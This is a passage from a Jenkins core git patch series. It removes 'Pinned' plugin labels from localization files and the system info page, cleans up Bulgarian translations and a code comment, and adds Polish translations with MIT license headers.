\u0432\u044b\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u043b\u0430\u0433\u0438\u043d Uninstall=\u0423\u0434\u0430\u043b\u0438\u0442\u044c Uninstallation\ pending=\u041e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f... -Unpin=\u041e\u0442\u043a\u0440\u0435\u043f\u0438\u0442\u044c Version=\u0412\u0435\u0440\u0441\u0438\u044f downgradeTo=\u0412\u0435\u0440\u043d\u0443\u0442\u044c \u043a \u0432\u0435\u0440\u0441\u0438\u0438 {0} -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins diff --git a/core/src/main/resources/hudson/PluginManager/installed_sk.properties b/core/src/main/resources/hudson/PluginManager/installed_sk.properties index c8e9109514..a8be797120 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_sk.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_sk.properties @@ -9,4 +9,3 @@ Uncheck\ to\ disable\ the\ plugin=Odzna\u010Den\u00EDm zak\u00E1\u017Eete plugin Uninstall=Odin\u0161taluj Uninstallation\ pending=Odin\u0161tal\u00E1cia \u010Dak\u00E1 Version=Verzia -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins diff --git a/core/src/main/resources/hudson/PluginManager/installed_sr.properties b/core/src/main/resources/hudson/PluginManager/installed_sr.properties index 0adbdf655e..b555a4dbe9 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_sr.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_sr.properties @@ -16,12 +16,9 @@ Enabled=\u0410\u043A\u0442\u0438\u043D\u0432\u043E Name=\u0418\u043C\u0435 Version=\u0412\u0435\u0440\u0437\u0438\u0458\u0430 Previously\ installed\ version=\u041F\u0440\u0435\u0442\u0445\u043E\u0434\u043D\u043E \u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u043D\u0430 \u0432\u0435\u0440\u0437\u0438\u0458\u0430 -Pinned=\u0424\u0438\u043A\u0441\u0438\u0440\u0430\u043D\u0430 \u0432\u0435\u0440\u0437\u0438\u0458\u0430 Uninstall=\u0414\u0435\u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0430 No\ description\ available.=\u041D\u0435\u043C\u0430 \u043E\u043F\u0438\u0441\u0430 downgradeTo=\u0412\u0440\u0430\u0442\u0438 \u0432\u0435\u0440\u0437\u0438\u0458\u0443 \u043D\u0430\u0437\u0430\u0434 \u043D\u0430 {0} -Unpin=\u041E\u0434\u043C\u0440\u0437\u043D\u0438 -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins Uninstallation\ pending=\u0414\u0435\u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0430 \u0458\u0435 \u0443 \u0442\u043E\u043A\u0443 Changes\ will\ take\ effect\ when\ you\ restart\ Jenkins=\u041F\u0440\u043E\u043C\u0435\u043D\u0435 \u045B\u0435 \u0441\u0442\u0443\u043F\u0438\u0442\u0438 \u043D\u0430\u043A\u043E\u043D \u043F\u043E\u043D\u043E\u0432\u043D\u043E\u0433 \u043F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0430 Jenkins Restart\ Once\ No\ Jobs\ Are\ Running=\u041F\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u043D\u0442\u0438 \u043A\u0430\u0434 \u043D\u0435 \u0431\u0443\u0434\u0435 \u0431\u0438\u043B\u043E \u0442\u0435\u043A\u0443\u045B\u0438\u0445 \u0437\u0430\u0434\u0430\u0442\u0430\u043A\u0430. diff --git a/core/src/main/resources/hudson/PluginManager/installed_uk.properties b/core/src/main/resources/hudson/PluginManager/installed_uk.properties index cdfbd4ea61..36ca71b5e9 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_uk.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_uk.properties @@ -3,12 +3,9 @@ Changes\ will\ take\ effect\ when\ you\ restart\ Jenkins=\uBCC0\uACBD\uC0AC\uD56D\uC740 \uC820\uD0A8\uC2A4\uB97C \uC7AC\uC2DC\uC791\uD560\uB54C \uC801\uC6A9\uB429\uB2C8\uB2E4 Enabled=\uD65C\uC131\uD654\uB428 Name=\uC774\uB984 -Pinned=\uD540 \uACE0\uC815 Previously\ installed\ version=\uC774\uC804\uC5D0 \uC124\uCE58\uD55C \uBC84\uC804 Restart\ Once\ No\ Jobs\ Are\ Running=\uC544\uBB34\uB7F0 \uC791\uC5C5\uC774 \uC5C6\uC744 \uB54C \uC7AC\uC2DC\uC791\uD558\uAE30 Uncheck\ to\ disable\ the\ plugin=\uD50C\uB7EC\uADF8\uC778\uC744 \uBE44\uD65C\uC131\uD654\uD558\uB824\uBA74 \uCCB4\uD06C\uB97C \uD574\uC9C0\uD558\uC2ED\uC2DC\uC624 Uninstall=\u0412\u0438\u0434\u0430\u043B\u0438\u0442\u0438 -Unpin=\uD540 \uD574\uCCB4 Version=\uBC84\uC804 downgradeTo={0}\uB85C \uB2E4\uC6B4\uADF8\uB808\uC774\uB4DC -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins diff --git a/core/src/main/resources/hudson/PluginManager/installed_zh_CN.properties b/core/src/main/resources/hudson/PluginManager/installed_zh_CN.properties index 20edd4eb6a..cef268874e 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_zh_CN.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_zh_CN.properties @@ -23,12 +23,9 @@ Changes\ will\ take\ effect\ when\ you\ restart\ Jenkins=\u6240\u6709\u6539\u53D8\u4F1A\u5728\u91CD\u65B0\u542F\u52A8Jenkins\u4EE5\u540E\u751F\u6548\u3002 Enabled=\u542F\u7528 Name=\u540D\u79F0 -Pinned=\u7ED1\u5B9A Previously\ installed\ version=\u4E0A\u4E00\u4E2A\u5B89\u88C5\u7684\u7248\u672C Restart\ Once\ No\ Jobs\ Are\ Running=\u5F53\u6CA1\u6709\u4EFB\u52A1\u65F6\u91CD\u542F Uncheck\ to\ disable\ the\ plugin=\u53D6\u6D88\u9009\u62E9\u4EE5\u7981\u7528\u63D2\u4EF6 Uninstall=\u5378\u8F7D -Unpin=\u89E3\u9664\u7ED1\u5B9A Version=\u7248\u672C downgradeTo=\u964D\u5230 -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins diff --git a/core/src/main/resources/hudson/PluginManager/installed_zh_TW.properties b/core/src/main/resources/hudson/PluginManager/installed_zh_TW.properties index 205f23e219..9721180a51 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_zh_TW.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_zh_TW.properties @@ -30,11 +30,8 @@ Enabled=\u5DF2\u555F\u7528 Name=\u540d\u7a31 Version=\u7248\u672c Previously\ installed\ version=\u524D\u4E00\u5B89\u88DD\u7248\u672C -Pinned=\u5df2\u639b\u8f09 downgradeTo=\u964d\u7248\u6210 {0} -Unpin=\u5378\u9664 -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins Uninstallation\ pending=\u89e3\u9664\u5b89\u88dd\u4f5c\u696d\u64f1\u7f6e\u4e2d Uninstall=\u89E3\u9664\u5B89\u88DD diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo.jelly b/core/src/main/resources/jenkins/model/Jenkins/systemInfo.jelly index 89c0d958c1..a1224ebc48 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo.jelly +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo.jelly @@ -47,7 +47,6 @@ THE SOFTWARE. ${%Name} ${%Version} ${%Enabled} - ${%Pinned} @@ -55,7 +54,6 @@ THE SOFTWARE. - diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_bg.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_bg.properties index fcafa62f63..e331da9acf 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_bg.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_bg.properties @@ -40,7 +40,6 @@ Thread\ Dumps=\ \u0420\u0430\u0437\u0442\u043e\u0432\u0430\u0440\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u043d\u0438\u0448\u043a\u0438\u0442\u0435 Version=\ \u0412\u0435\u0440\u0441\u0438\u044f -Pinned=\ \u041d\u0435\u043f\u0440\u043e\u043c\u0435\u043d\u044f\u0435\u043c\u0430 \u0432\u0435\u0440\u0441\u0438\u044f System\ Information=\ \u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0437\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0442\u0430 diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_de.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_de.properties index 8a60d7efc0..fc2bd2cf3f 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_de.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_de.properties @@ -24,7 +24,6 @@ System\ Properties=Systemeigenschaften Environment\ Variables=Umgebungsvariablen Enabled=Aktiviert No\ plugins\ installed.=Keine Plugins installiert. -Pinned=Gesperrt Name=Name Plugins=Plugins Version=Version diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_el.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_el.properties index bf8e0b8ab3..e6664ac87c 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_el.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_el.properties @@ -3,7 +3,6 @@ Enabled=\u0395\u03BD\u03B5\u03C1\u03B3\u03BF\u03C0\u03BF\u03B9\u03B7\u03BC\u03AD\u03BD\u03BF Environment\ Variables=\u039C\u03B5\u03C4\u03B1\u03B2\u03BB\u03B7\u03C4\u03AD\u03C2 \u03A0\u03B5\u03C1\u03B9\u03B2\u03AC\u03BB\u03BB\u03BF\u03BD\u03C4\u03BF\u03C2 Name=\u038C\u03BD\u03BF\u03BC\u03B1 -Pinned=\u039A\u03B1\u03C1\u03C6\u03B9\u03C4\u03C3\u03C9\u03BC\u03AD\u03BD\u03BF Plugins=\u03A0\u03C1\u03CC\u03C3\u03B8\u03B5\u03C4\u03B1 System\ Properties=\u039C\u03B5\u03C4\u03B1\u03B2\u03BB\u03B7\u03C4\u03AD\u03C2 \u03A3\u03C5\u03C3\u03C4\u03AE\u03BC\u03B1\u03C4\u03BF\u03C2 Version=\u0388\u03BA\u03B4\u03BF\u03C3\u03B7 diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_es.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_es.properties index 3be54b1ec3..f5661dca26 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_es.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_es.properties @@ -25,7 +25,6 @@ Environment\ Variables=Variables de entorno Version=Versin Plugins=plugins No\ plugins\ installed.=No hay plugins instalados -Pinned=Fijado Name=Nombre Enabled=Activo System\ Information=Informacin del sistema diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_fr.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_fr.properties index 4588c57375..3a5d2f9064 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_fr.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_fr.properties @@ -21,7 +21,6 @@ # THE SOFTWARE. Name=Nom -Pinned=Rep\u00E9r\u00E9 System\ Properties=Proprits systme Enabled=En effet Environment\ Variables=Variables d''environnement diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_it.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_it.properties index 358b6eac52..f22f5f1ac7 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_it.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_it.properties @@ -23,7 +23,6 @@ Enabled=Attivo Environment\ Variables=Variabili d''ambiente Name=Nome -Pinned=Fisso Plugins=Estensioni System\ Properties=Propriet\u00E0 di sistema Version=Versione diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_ja.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_ja.properties index 49b8a4f79a..5db7ded37e 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_ja.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_ja.properties @@ -28,5 +28,4 @@ No\ plugins\ installed.=\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3055\u308c\u3066\u Name=\u540d\u524d Version=\u30d0\u30fc\u30b8\u30e7\u30f3 Enabled=\u6709\u52b9\u5316 -Pinned=\u30d4\u30f3 Thread\ Dumps=\u30b9\u30ec\u30c3\u30c9\u30c0\u30f3\u30d7 diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_ko.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_ko.properties index ca302f6157..15002250f6 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_ko.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_ko.properties @@ -23,7 +23,6 @@ Enabled=\uD65C\uC131\uD654 Environment\ Variables=\uD658\uACBD \uBCC0\uC218 Name=\uC774\uB984 -Pinned=\uACE0\uC815 Plugins=\uD50C\uB7EC\uADF8\uC778 System\ Properties=\uC2DC\uC2A4\uD15C \uC18D\uC131 Version=\uBC84\uC804 diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_lt.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_lt.properties index 14d3ece4e9..3de2a8f72e 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_lt.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_lt.properties @@ -1,6 +1,5 @@ threadDump_blurb=\u0160iame puslapyje rasite pagrindinio ir agent\u0173 gij\u0173 l\u016b\u017eimo informacij\u0105. No\ plugins\ installed.=N\u0117ra \u012fdiegt\u0173 pried\u0173. -Pinned=Prisegtas Name=Pavadinimas System\ Properties=Sistemos savyb\u0117s System\ Information=Sistemos informacija diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_lv.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_lv.properties index b5374d7e76..932f25c17d 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_lv.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_lv.properties @@ -3,7 +3,6 @@ Enabled=Iesp\u0113jots Environment\ Variables=Vides Main\u012Bgie Name=Nosaukums -Pinned=Piesaist\u012Bts Plugins=Spraud\u0146i System\ Properties=Sist\u0113mas parametri Version=Versija diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_pl.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_pl.properties index 96c85cb8bf..69177c9d3a 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_pl.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_pl.properties @@ -3,7 +3,6 @@ Enabled=W\u0142\u0105czony Environment\ Variables=Zmienne systemowe Name=Nazwa -Pinned=Przypi\u0119ty Plugins=Wtyczki System\ Properties=W\u0142a\u015Bciwo\u015Bci systemu Version=Wersja diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_pt_BR.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_pt_BR.properties index 0e7bcd0313..e9fea4ceaf 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_pt_BR.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_pt_BR.properties @@ -21,7 +21,6 @@ # THE SOFTWARE. Name=Nome -Pinned=Fixado Plugins=Plugins System\ Properties=Propriedades do sistema Enabled=Habilitado diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_ru.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_ru.properties index db88258f9f..6937e3ea88 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_ru.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_ru.properties @@ -21,7 +21,6 @@ # THE SOFTWARE. Name=\u0418\u043C\u044F -Pinned=\u041F\u0440\u0438\u043A\u0440\u0435\u043F\u043B\u0435\u043D Plugins=\u041F\u043B\u0430\u0433\u0438\u043D\u044B System\ Properties=\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Enabled=\u0410\u043A\u0442\u0438\u0432\u0435\u043D diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_sr.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_sr.properties index 4159d64565..9c8e87a46d 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_sr.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_sr.properties @@ -8,6 +8,5 @@ No\ plugins\ installed.=\u041D\u0435\u043C\u0430 \u0438\u043D\u0441\u0442\u0430\ Name=\u0418\u043C\u0435 Version=\u0412\u0435\u0440\u0437\u0438\u0458\u0430 Enabled=\u041E\u043C\u043E\u0433\u0443\u045B\u0435\u043D\u043E -Pinned=\u0424\u0438\u043A\u0441\u0438\u0440\u0430\u043D\u0435 Thread\ Dumps=\u0414\u0435\u043F\u043E\u043D\u0438\u0458a \u043D\u0438\u0442\u043E\u0432\u0430 threadDump_blurb=\u041E\u0442\u0438\u0452\u0438\u0442\u0435 \u043D\u0430 \u043E\u0432\u0443 \u0441\u0442\u0440\u0430\u043D\u0438\u0446\u0443 \u0434\u0430 \u0432\u0438\u0434\u0438\u0442\u0435 \u0434\u0435\u043F\u043E\u043D\u0438\u0458\u0435 \u043D\u0438\u0442\u043E\u0432\u0430 \u0433\u043B\u0430\u0432\u043D\u0438\u0445 \u0438 \u0430\u0433\u0435\u043D\u0442\u043D\u0438\u0445 \u043C\u0430\u0448\u0438\u043D\u0430. diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_sv_SE.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_sv_SE.properties index a710373a08..edee65f72b 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_sv_SE.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_sv_SE.properties @@ -23,5 +23,4 @@ Enabled=Aktiverad Environment\ Variables=Milj\u00F6variabler Name=Namn -Pinned=Pinnad System\ Properties=Systemegenskaper diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_uk.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_uk.properties index ec48c0b8fe..0cccc6a957 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_uk.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_uk.properties @@ -3,7 +3,6 @@ Enabled=\u0423\u0432\u0456\u043C\u043A\u043D\u0435\u043D\u043E Environment\ Variables=\u0417\u043C\u0456\u043D\u043D\u0456 \u043E\u0442\u043E\u0447\u0435\u043D\u043D\u044F Name=\u041D\u0430\u0437\u0432\u0430 -Pinned=\u0417\u0430\u043A\u0440\u0456\u043F\u043B\u0435\u043D\u0438\u0439 Plugins=\u0414\u043E\u0434\u0430\u0442\u043A\u0438 System\ Properties=\u0421\u0438\u0441\u0442\u0435\u043C\u043D\u0456 \u0432\u043B\u0430\u0441\u0442\u0438\u0432\u043E\u0441\u0442\u0456 Version=\u0412\u0435\u0440\u0441\u0456\u044F diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_zh_CN.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_zh_CN.properties index 7f43f1b003..2693a973f3 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_zh_CN.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_zh_CN.properties @@ -23,7 +23,6 @@ Enabled=\u542F\u7528 Environment\ Variables=\u73AF\u5883\u53D8\u91CF Name=\u540D\u79F0 -Pinned=\u56FA\u5B9A Plugins=\u63D2\u4EF6 System\ Properties=\u7CFB\u7EDF\u5C5E\u6027 Version=\u7248\u672C diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_zh_TW.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_zh_TW.properties index 85b258fb53..7739087e73 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_zh_TW.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_zh_TW.properties @@ -29,6 +29,5 @@ No\ plugins\ installed.=\u6c92\u6709\u5b89\u88dd\u5916\u639b\u7a0b\u5f0f\u3002 Enabled=\u555f\u7528\u72c0\u6cc1 Name=\u540d\u7a31 Version=\u7248\u672c -Pinned=\u5df2\u639b\u8f09 Thread\ Dumps=\u57f7\u884c\u7dd2\u50be\u5370 -- GitLab From 1612ec2ffa31bc9bcf83845db40198ebb4bc6246 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 27 Jan 2017 17:31:14 -0500 Subject: [PATCH 751/811] For some reason, Bulgarian translations included a gratuitous newline between key and value, which core/move-l10n.groovy does not yet grok. --- .../resources/hudson/PluginManager/installed_bg.properties | 3 --- .../resources/jenkins/model/Jenkins/systemInfo_bg.properties | 1 - 2 files changed, 4 deletions(-) diff --git a/core/src/main/resources/hudson/PluginManager/installed_bg.properties b/core/src/main/resources/hudson/PluginManager/installed_bg.properties index eb32e7b3ce..60dc8c4e29 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_bg.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_bg.properties @@ -26,7 +26,6 @@ Enabled=\ \u0420\u0430\u0437\u0440\u0435\u0448\u0435\u043d Name=\ \u0418\u043c\u0435 - \u0424\u0438\u043a\u0441\u0438\u0440\u0430\u043d\u0430 \u0432\u0435\u0440\u0441\u0438\u044f Previously\ installed\ version=\ \u041f\u0440\u0435\u0434\u0438\u0448\u043d\u043e \u0438\u043d\u0441\u0442\u0430\u043b\u0438\u0440\u0430\u043d\u0430 \u0432\u0435\u0440\u0441\u0438\u044f Restart\ Once\ No\ Jobs\ Are\ Running=\ @@ -35,7 +34,6 @@ Uncheck\ to\ disable\ the\ plugin=\ \u041c\u0430\u0445\u043d\u0435\u0442\u0435 \u043e\u0442\u043c\u0435\u0442\u043a\u0430\u0442\u0430 \u0437\u0430 \u0437\u0430\u0431\u0440\u0430\u043d\u0430 \u043d\u0430 \u043f\u0440\u0438\u0441\u0442\u0430\u0432\u043a\u0430\u0442\u0430 Uninstall=\ \u0414\u0435\u0438\u043d\u0441\u0442\u0430\u043b\u0438\u0440\u0430\u043d\u0435 - \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0430 \u0432\u0435\u0440\u0441\u0438\u044f Version=\ \u0412\u0435\u0440\u0441\u0438\u044f downgradeTo=\ @@ -60,7 +58,6 @@ This\ plugin\ cannot\ be\ enabled=\ \u0422\u0430\u0437\u0438 \u043f\u0440\u0438\u0441\u0442\u0430\u0432\u043a\u0430 \u043d\u0435 \u043c\u043e\u0436\u0435 \u0434\u0430 \u0441\u0435 \u0432\u043a\u043b\u044e\u0447\u0438 Filter=\ \u0424\u0438\u043b\u0442\u0440\u0438\u0440\u0430\u043d\u0435 - \u0422\u0430\u0437\u0438 \u043f\u0440\u0438\u0441\u0442\u0430\u0432\u043a\u0430 \u043d\u0435 \u043c\u043e\u0436\u0435 \u0434\u0430 \u0441\u0435 \u0438\u0437\u043a\u043b\u044e\u0447\u0438 requires.restart=\ \u0422\u0440\u044f\u0431\u0432\u0430 \u0434\u0430 \u0440\u0435\u0441\u0442\u0430\u0440\u0442\u0438\u0440\u0430\u0442\u0435 Jenkins, \u043f\u0440\u0435\u0434\u0438 \u0434\u0430 \u043f\u0440\u0430\u0432\u0438\u0442\u0435 \u043f\u043e\u0432\u0435\u0447\u0435 \u043f\u0440\u043e\u043c\u0435\u043d\u0438 \u043f\u043e\ \u043f\u0440\u0438\u0441\u0442\u0430\u0432\u043a\u0438\u0442\u0435. \u041e\u043f\u0430\u0441\u043d\u043e \u0435 \u0434\u0430 \u043f\u0440\u043e\u0434\u044a\u043b\u0436\u0438\u0442\u0435 \u0431\u0435\u0437 \u0440\u0435\u0441\u0442\u0430\u0440\u0442\u0438\u0440\u0430\u043d\u0435. diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_bg.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_bg.properties index e331da9acf..bf6faaac09 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_bg.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_bg.properties @@ -40,6 +40,5 @@ Thread\ Dumps=\ \u0420\u0430\u0437\u0442\u043e\u0432\u0430\u0440\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u043d\u0438\u0448\u043a\u0438\u0442\u0435 Version=\ \u0412\u0435\u0440\u0441\u0438\u044f - \u041d\u0435\u043f\u0440\u043e\u043c\u0435\u043d\u044f\u0435\u043c\u0430 \u0432\u0435\u0440\u0441\u0438\u044f System\ Information=\ \u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0437\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0442\u0430 -- GitLab From d8859876cbec775949c8f45d55735a1f5fc81edb Mon Sep 17 00:00:00 2001 From: Vincent Latombe Date: Sun, 29 Jan 2017 10:38:56 +0100 Subject: [PATCH 752/811] [JENKINS-41511] Remove obsolete comment --- .../main/java/hudson/security/GlobalSecurityConfiguration.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java b/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java index a7f6697463..751ad92f93 100644 --- a/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java +++ b/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java @@ -79,7 +79,7 @@ public class GlobalSecurityConfiguration extends ManagementLink implements Descr * @since 2.24 * @return true if the slave agent port is enforced on this instance. */ - @Restricted(NoExternalUse.class) // only for index.groovy + @Restricted(NoExternalUse.class) public boolean isSlaveAgentPortEnforced() { return Jenkins.getInstance().isSlaveAgentPortEnforced(); } -- GitLab From 267534bb5dcdbb88cdf4730cc1c11d1fa90b7a7b Mon Sep 17 00:00:00 2001 From: Damian Szczepanik Date: Sat, 14 Jan 2017 17:19:35 +0100 Subject: [PATCH 753/811] Polish translations --- .../main/java/hudson/model/UpdateCenter.java | 2 +- .../hudson/AboutJenkins/index_pl.properties | 24 ++++++++++++++++-- .../resources/hudson/Messages_pl.properties | 4 +-- .../thirdPartyLicenses_pl.properties | 24 ++++++++++++++++++ .../hudson/model/AllView/noJob_pl.properties | 10 ++++---- .../hudson/model/Messages.properties | 2 +- .../hudson/model/Messages_pl.properties | 1 + .../ProxyView/configure-entries_pl.properties | 23 +++++++++++++++++ .../hudson/model/View/noJob_pl.properties | 23 +++++++++++++++++ .../BuildButtonColumn/column_pl.properties | 4 +-- .../authenticate-security-token_pl.properties | 14 +++++------ .../model/Jenkins/systemInfo_pl.properties | 25 +++++++++++++++++-- .../config-buildWrappers_pl.properties | 4 +-- 13 files changed, 136 insertions(+), 24 deletions(-) create mode 100644 core/src/main/resources/hudson/PluginWrapper/thirdPartyLicenses_pl.properties create mode 100644 core/src/main/resources/hudson/model/ProxyView/configure-entries_pl.properties create mode 100644 core/src/main/resources/hudson/model/View/noJob_pl.properties diff --git a/core/src/main/java/hudson/model/UpdateCenter.java b/core/src/main/java/hudson/model/UpdateCenter.java index 0c11acb9e5..205434407a 100644 --- a/core/src/main/java/hudson/model/UpdateCenter.java +++ b/core/src/main/java/hudson/model/UpdateCenter.java @@ -820,7 +820,7 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas } public String getDisplayName() { - return "Update center"; + return Messages.UpdateCenter_DisplayName(); } public String getSearchUrl() { diff --git a/core/src/main/resources/hudson/AboutJenkins/index_pl.properties b/core/src/main/resources/hudson/AboutJenkins/index_pl.properties index 41b9fec938..4d44c42119 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_pl.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_pl.properties @@ -1,6 +1,26 @@ -# This file is under the MIT License by authors - +# The MIT License +# +# Copyright (c) 2017, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. about=O Jenkinsie {0} blurb=Jenkins jest rozwijanym przez spo\u0142eczno\u015B\u0107 open-source serwerem Continuous Integration dependencies=Jenkins jest oparty na nast\u0119puj\u0105cych 